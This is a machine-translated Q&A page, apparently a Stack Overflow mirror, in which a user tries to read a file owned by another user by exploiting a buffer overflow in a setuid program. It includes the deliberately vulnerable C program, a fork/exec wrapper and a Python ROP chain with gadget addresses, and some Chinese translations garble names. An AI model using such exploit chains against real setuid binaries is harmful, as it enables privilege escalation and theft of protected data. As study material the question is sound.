简体   繁体   English

当子进程使用setuid位设置执行execve时,fork()中的文件描述符

[英]File descriptor in fork() when child executes execve with setuid bit set

Have this program, it opens a File Descriptor to /etc/secret which is owned by userA and set to only be read by userA. 拥有此程序,它将打开/ etc / secret的文件描述符,该描述符由userA拥有,并设置为仅由userA读取。

-r-------- 1 userA userA secret -r -------- 1个userA userA机密

The program forks a child via execve which is a binary with setuid bit set to userA 程序通过execve派生一个孩子,该孩子是setuid位设置为userA的二进制文件

-r-sr-x--- 1 userA userB prog -r-sr-x --- 1个userA userB编

prog has a buffer overflow. 编有缓冲区溢出。 Stack is nonexecutable. 堆栈不可执行。 I managed to write a ROP chain that calls read(). 我设法编写了一个调用read()的ROP链。 For read I need a descriptor parameter, I would like it to be the descriptor of /etc/secret. 对于读取,我需要一个描述符参数,我希望它是/ etc / secret的描述符。

Is it possible to modify it that /etc/secret descriptor is opened? 是否可以修改打开/ etc / secret描述符的信息? Since now I get permission denied, which make sense, since I am calling it as userB. 从现在开始,我被拒绝了,这很有意义,因为我将其称为userB。 Child runs a program that has setuid bit set (userA), so maybe there is a way to call the open within a child execution stage? 子进程运行一个具有setuid位设置(userA)的程序,那么也许有一种方法可以在子进程执行阶段调用open吗? Any ideas? 有任何想法吗?

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(void)
{
    pid_t pid;
    int fd;
    int fd1;

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read
    if (fd1 < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    printf("FD:%d\n",fd1);




    fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read()
    if (fd < 0) {                  //I pass the file descriptor as a parameter
                                   //Normally a integer 3
        perror("open");
        return EXIT_FAILURE;
    }

    if ((pid = fork()) < 0) {
        perror("fork");
        return EXIT_FAILURE;
    } else if (! pid) { /* child */
        dup2(fd, STDIN_FILENO);
        close(fd);



        execlp("/opt/prog", "prog", (char *)0);
        perror("exec");

        return EXIT_FAILURE;
    } else { /* parent */
        printf("Parent waiting\n");

    }

    return EXIT_SUCCESS;
}

Update 1: 更新1:

prog source code: 编源代码:

#include <stdio.h>
void main(){
    int buf[8];
    read(0, buf, 256);
}

Update 2: 更新2:

Rop chain 链条

#!/usr/bin/env python
import struct

payload  = "A" * 24
payload += struct.pack("<Q", 0x00000000004005b6)



payload += "A" * 8
payload += struct.pack("<Q", 0x0)        
payload += struct.pack("<Q", 0x1)        
payload += struct.pack("<Q", 0x00000000006006c8) 
payload += struct.pack("<Q", 0x3)                 # Value for RDI register
payload += struct.pack("<Q", 0x0000000000600009)  # Value for RSI register
payload += struct.pack("<Q", 0x8)                 # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)


payload += "E"*56
payload += struct.pack("<Q", 0x00000000004003e0)
f = open("in.txt", "w")
f.write(payload)

Update 3 更新3

Made this test program. 做了这个测试程序。 /etc/secret is owned by userA and set to read only by userA, I run the program as userB: / etc / secret由userA拥有,并设置为仅由userA读取,我以userB身份运行程序:

test.c 测试

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(void)
{
    pid_t pid;
    int fd;
    int fd1;

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read
    if (fd1 < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    printf("FD:%d\n",fd1);
}

Output is: 输出为:

./test open: Permission denied ./test打开:权限被拒绝

So I guess there is no way around it, open() checks permissions on file before returning descriptor? 所以我想没有办法解决,open()在返回描述符之前检查文件权限吗?

Well you need to close the pipe from the parent, don't you. 好吧,您需要关闭父母的管道,不是吗。 And why not open the file in child process. 为什么不在子进程中打开文件。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM